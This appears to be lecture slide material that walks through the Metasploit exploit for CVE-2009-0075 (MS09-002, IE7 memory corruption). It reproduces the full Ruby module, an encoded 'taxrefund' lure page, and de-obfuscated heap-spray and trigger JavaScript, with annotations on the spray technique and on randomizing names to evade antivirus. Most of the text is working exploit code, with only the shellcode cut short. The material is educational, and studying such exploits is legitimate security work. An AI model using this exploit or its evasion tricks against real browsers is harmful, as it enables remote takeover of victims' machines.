

# Metasploit Exploit

## CVE-2009-0075

MS09-002 IE7 CFunctionPointer  
Uninitialized Memory Corruption

## Attacker with Metasploit

Attacker Metasploit redirects with encoding key

Metasploit builds page with JavaScript to cause problem, plus shell code that will run to take over system.

Variable names and white space are randomized.

Page is then encoded with URI parameter.

Metasploit takes over!

## Victim with IE7

Victim IE7 requests  
<http://216.6.1.100/taxrefund>

Victim IE7 requests  
<http://216.6.1.100/taxrefund?BfVOseyTwKD>

Victim runs JavaScript. Defect causes execution of payload, with same permissions as user.  
Payload communicates with Metasploit server.

# Metasploit Ruby Code

## HTML Exploit initialization

```
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption',
    'Description'   => %q{
      This module exploits an error related to the CFunctionPointer function when attempting
      to access uninitialized memory. A remote attacker could exploit this vulnerability to
      corrupt memory and execute arbitrary code on the system with the privileges of the victim.
    },
    'License'       => MSF_LICENSE,
    'Author'        => [ 'dean [at] zerodaysolutions [dot] com' ],
    'References'   =>
    [
      [ 'CVE', '2009-0075' ],
      [ 'OSVDB', '51839' ],
      [ 'MSB', 'MS09-002' ]
    ],
    'DefaultOptions' =>
    {
      'EXITFUNC' => 'process',
      'InitialAutoRunScript' => 'migrate -f',
    },
    'Payload'       =>
    {
      'Space'         => 1024,
      'BadChars'      => "\x00",
    },
    'Platform'     => 'win',
    'Targets'       =>
    [
      [ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ]
    ],
    'DisclosureDate' => 'Feb 10 2009',
    'DefaultTarget'  => 0))
  end

  @javascript_encode_key = rand_text_alpha(rand(10) + 10)
end
```

Moves to another process  
on target (runs notepad)

Jumps to address  
0x0C0C0C0C

# on\_request\_uri

```
def on_request_uri(cli, request)
    if (!request.uri.match(/\?\w+/))
        send_local_redirect(cli, "?#{@javascript_encode_key}")
        return
    end

    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    # Set the return.
    ret      = Rex::Text.to_unescape([target.ret].pack('V'))
    # Randomize the javascript variable names.
    rand1   = rand_text_alpha(rand(100) + 1)
    rand2   = rand_text_alpha(rand(100) + 1)
    rand3   = rand_text_alpha(rand(100) + 1)
    rand4   = rand_text_alpha(rand(100) + 1)
    rand5   = rand_text_alpha(rand(100) + 1)
    rand6   = rand_text_alpha(rand(100) + 1)
    rand7   = rand_text_alpha(rand(100) + 1)
    rand8   = rand_text_alpha(rand(100) + 1)
    rand9   = rand_text_alpha(rand(100) + 1)
    rand10  = rand_text_alpha(rand(100) + 1)
    rand11  = rand_text_alpha(rand(100) + 1)
    rand12  = rand_text_alpha(rand(100) + 1)
    rand13  = rand_text_alpha(rand(100) + 1)
    fill    = rand_text_alpha(25)
```

If no parameters, redirect with  
an encoding key

Select 32-bit unsigned little-  
endian architecture (Intel)

Randomize variable names to  
confuse anti-virus checkers

```

js = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = new Array();
var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020); ## ~1,000,000
var #{rand4} = unescape("#{ret}");

while(#{rand4}.length<#{rand3}/2)
{#{rand4}+=#{rand4};}

var #{rand5} = #{rand4}.substring(0,#{rand3}/2);
delete #{rand4};
for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++)
{#{rand2}[#{rand6}] = #{rand5} + #{rand1};}

CollectGarbage();

var #{rand7} = unescape("#{ret}"+"#{fill}");
var #{rand8} = new Array();
for(var #{rand9}=0;#{rand9}<1000;#{rand9}++)
#{rand8}.push(document.createElement("img"));

function #{rand10}()
{
  #{rand11} = document.createElement("tbody");
  #{rand11}.click;
  var #{rand12} = #{rand11}.cloneNode();
  #{rand11}.clearAttributes();
  #{rand11}=null;
  CollectGarbage();
  for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)
  #{rand8}[#{rand13}].src=#{rand7};
  #{rand12}.click;
}

window.setTimeout("#{rand10}(),800);
|

```

Ruby generates the Javascript to send to client, using the randomized variable names

```
js = encrypt_js(js, @javascript_encode_key)
  content = %Q|
<html>
<script language="JavaScript">
#{js}
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name}")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end
end
```

Encode the Javascript using the encode key in the URI

Add Javascript to HTML

Add random white space

Send response to victim

Now wait for victim to call back



http://216.6.1.100/taxrefund?BfVOSejTwKD

Encoding key added to URI


File Edit View Favorites Tools Help



http://216.6.1.100/taxrefund?BfVOSejTwKD



Turn off scripting in IE settings  
Just say No to view source



taxrefund[1] - Notepad

File Edit Format View Help

<html>

```
<script  
language="Javascript">
```

var

rowJknTpxEfSHzvH

Source is unreadable with lots of  
white space added

# taxrefund[1] - Notepad

File Edit Format View Help

```
<html>
<script language="JavaScript">
```

```
var rowJknTpXELSHzvH =
'3407246f0a36000610082c1a27302e15102f33152e2826103806292a113a333a03252a113e00013f744a6b312c03252c32151c7c556e31
51d60156e31705f6f2976101a65112e613702632b61400c6d40292167136f7960065c211579762143237c375c4071027b262051733a3107
002733a31504937523e7d745e326a26511b63156e31245e6776761041604379613704342b67400c65157f7d67136f7637535c21127b7673
c21157f257a43237b62074b71027c207603733a36544b6d523e737451326a26534f63116e317505377676104e67467e613702657e63400c
664786a400c36112f716713627e62015c21137f777043232d61034071022a7c7607733a315d186d523e747603676a265c406d476e317052
2156e31245e667b76104a3142286137026e2d36400c6d447e206713372e665d5c214273717043232967571f71027e227550733a6b001f37
33a60574d60523e227450636a26524d36446e31725f642e761041604e7d613702357e64400c64452f226713602e65545c21142d7421447f
12129142e02030b1329060e3910352e1504202714132005331a091319200200071605272b07392c240d2a11252935000e3d2c072b083031
f34010a2010063426272f053526183236261d2e0d201d36143d0d3f0e061a467d6f0a36000610082c1a27302e15102f33152e2826103806
d1d26273e050510181c1638282e301715242c361f211f252d0c1b031e2d1617320410333e322819282c0c010e341b0d072c12131b0e2f2e
e0b0c381b70072d0a3a2a30113e3505292525037e66680316265f3d2530462c35393d10323200370a361006012d163f3b05362325182829
12d132267712c13152e0f2d310e06013e1628222e2f052a2c003a322d18271b2712033c21061c2e2f0016242e0f2a1b073c263c1b233a1c

var qy = '';
for (i=0;i<rowJknTpXELSHzvH.length;i+=2)
{
    qy += String.fromCharCode(parseInt(rowJknTpXELSHzvH.substring(i, i+2), 16));
}

var FKorgauFPOSOMiiIDFrzgaNTB = location.search.substring(1);
var Um = '';
for (i=0;i<qy.length;i++)
{
    Um += String.fromCharCode(qy.charCodeAt(i)^FKorgauFPOSOMiiIDFrzgaNTB.charCodeAt(i%FKorgauFPOSOMiiIDFrzgaNTB));
}
window["euuvuuauu1".replace(/[A-Z]/g, "")](Um);

</script>
</html>
```

Remove white space but source  
is still encoded

# Un-obfuscated JavaScript

```
<script language='JavaScript'>
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178 ... ");
var array = new Array();
var ls = 0x10000-(shellcode.length*2+0x01020);
var b = unescape('u0C0C%u0C0C');
while (b.length<ls/2)
    { b+=b; }

var lh = b.substring(0,ls/2);
delete b;

for (i=0; i<0xC0; i++) {
    array[i] = lh + shellcode;
}
CollectGarbage();

var s1=unescape('%u0b0b%u0b0bAAAAAAAAAAAAAAA');
var a1 = new Array();
for (var x=0;x<1000;x++)
    a1.push(document.createElement('img'));

function trigger_bug() {
    o1=document.createElement('tbody');
    o1.click;
    var o2 = o1.cloneNode();
    o1.clearAttributes();
    o1=null;
    CollectGarbage();
    for(var x=0;x<a1.length;x++)
        a1[x].src=s1;
    o2.click;
}
</script>

<script>
window.setTimeout('trigger_bug()',800);
</script>
```

# What does the Javascript do?

- The generated Javascript is sent to the Victim and executes in the victim's browser (IE7)
- A 'heap spray' fills memory:
  - 1Mb memory chunks are filled with 0x0C0C0C0C followed by the shell code (assembler).
  - 192 chunks fill memory past address 0x0C0C0C0C
- The defect is triggered
- Execution jumps to address 0x0C0C0C
  - Eventually the shell code is reached and executed

Stack/Heap



Ptr to  
vtable

Object  
0x????????

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Vtable

Virt func 1 at 0x?????????  
Virt func 2 at 0x?????????

Virt func 1

Virt func 2

- Corrupted pointer can cause program execution to jump to random location
- Pointer may point to another pointer

- Fill memory past 200Mb (0x0C0C0C0C)
- Corrupt pointer will point to 0x0C0C0C0C
- Pointer to pointer (to pointer to...) still ends up at 0x0C0C0C0C
- Intel instruction 0xC is a No-op
  - OR AL,0C
- Execution eventually reaches shell code

Before spray

fragmentation

300 Mb  
200 Mb  
100 Mb  
0 Mb

After spray

Spray until you reach  
predicatable location

Consecutive chunks of  
nops + shellcode

300 Mb  
200 Mb  
100 Mb  
0 Mb

Used

Free

Sprayed (Used)

```
<script language='JavaScript'>

// shellcode is assembler code you'd like executed. This runs calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178 ... ");

// Spray the heap in chunks with 0x0C0C0C0C followed by the shell code.
var array = new Array();                                // Array of heap chunks
var ls = 0x100000-(shellcode.length*2+0x01020);        // Size of chunk
var b = unescape('u0C0C%u0C0C');                        // 0x0C0C0C0C
while (b.length<ls/2)
    { b+=b; }                                         // b is filled with 0xC

var lh = b.substring(0,ls/2);                           // Truncate to fit chunk
delete b;

for (i=0; i<0xC0; i++) {
    array[i] = lh + shellcode;                         // Fill chunks to 0xC0C1800
}                                                       // 0x0Cs then shell code

CollectGarbage();

// Create lots of img objects in document
var s1=unescape('u0b0b%u0b0bAAAAAAAAAAAAAAA');
var a1 = new Array();
for (var x=0;x<1000;x++)
    a1.push(document.createElement('img'));

function trigger_bug() {
    ...
}

</script>

<script>
window.setTimeout('trigger_bug()',800);
</script>
```

# trigger\_bug function

```
function trigger_bug() {  
    o1=document.createElement('tbody');           Create a table body element  
    o1.click;  
  
    var o2 = o1.cloneNode();                     Copy o1, should be a deep copy  
  
    o1.clearAttributes();  
    o1=null;                                     Should free o1  
  
    CollectGarbage();                            Release memory from unused objects  
  
    for(var x=0;x<a1.length;x++)               a1 is array of 1,000 images  
        a1[x].src=s1;                           Set image source for each element  
  
    o2.click;                                    Trigger bug  
}
```